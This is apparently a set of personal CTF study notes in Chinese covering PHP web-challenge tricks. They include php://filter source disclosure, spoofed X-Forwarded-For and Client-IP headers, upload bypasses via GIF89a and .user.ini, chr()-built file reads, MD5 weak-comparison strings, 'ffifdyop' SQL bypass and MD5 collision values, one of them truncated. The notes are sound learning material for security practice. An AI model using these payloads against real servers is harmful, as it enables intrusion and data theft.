文件包含:伪协议

例如在 allow_url_include = on 时服务器上有个文件叫 index.php,且存在文件包含漏洞,这个时候就能用 php 伪协议直接把文件显示出来。

1
?file=php://filter/read=convert.base64-encode/resource=index.php

数据包有关参数的欺骗

本地访问:修改添加 Client-ip: 127.0.0.1

X-Forwarded-For
X-Forwarded-For(XFF)是用来识别通过 HTTP 代理或负载均衡方式连接到 Web 服务器的客户端最原始的 IP 地址的 HTTP 请求头字段。
X-Forwarded-For 127.0.0.1 或 localhost

文件上传🐎

  • GIF89a 伪装图片头绕过后端检测
  • .user.ini 包含图片执行.条件(同目录下要有index.php) 格式: auto_prepend_file = 1.jpg

网站目录文件fuzz && php备份文件

  1. 利用BPfuzz目录,添加字典
  2. 常见的php备份文件:*.php.bak or *.php.常见的备份文件后缀名有:“.git”".svn"“ .swp” “.~”“.bak”“.bash_history”“.bkf”
  3. 随时记录新出现的名字到字典,方便后续~

PHP字符串解析特性 ($_GET/ $_POST参数绕过)BUU-EZcalc -1

  1. PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

    1. 删除空白符

    2. 将某些字符转换为下划线(包括空格)例如:

    本题num参数输入非数字就被ban.因此利用字符串解析特性绕过第一个waf.

    1
    calc.php? num=print_r(scandir(chr(47)));

    这样同时绕过两个waf.[print_函数(此处也可用var_dump,var_export等)](PHP print_r() 函数 | 菜鸟教程 (runoob.com))'就用chr()绕过,chr(47)就是斜杠/

    这里的47是ASCII码,因此可以拼接出任意我们想要的命令

    这里我们需要: file_get_contents(''/flagg')

    也即:file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

    PHP MD5绕过

    • 题目[BJDCTF2020]Easy MD5

    • 首先第一点是没有思路的时候把源码看一下,发包后的数据包看下~总会有提示的!!!

    • ffifdyop 这个字符串md5加密后得到276f722736c95d99e921722cf9ed621c,这里的md5($pass,true)

      第二个参数表示的是16位2进制编码,经过mysql语句解析后的字符串是:'or’6后面接乱码

    • = =的绕过PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0

    • 在md5加密后以0E开头

      • QNKCDZO
      • 240610708
      • 0e215962017 md5后和本身相等.弱比较绕过
  • s878926199a
    - s155964671a

    • 以下串在sha1加密后以0E开头,并且后面均为纯数字
  • aaroZmOk
    - aaK1STfY

    • = = =的绕过

      • 直接传入数组即可(简单粗暴)

      • MD5碰撞;一下三个值md5加密后相等

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        #1
        a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
        b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
        #2
        a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
        b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
        #3
        $a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
        $b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";

    • 注意post还是get传值方式(⊙o⊙)

    Flask框架漏洞

    • 今天刷题到这~

    • HCTF&admin

    看大佬博客叭,懒得写了.

    后面还得去学会flask

    ok~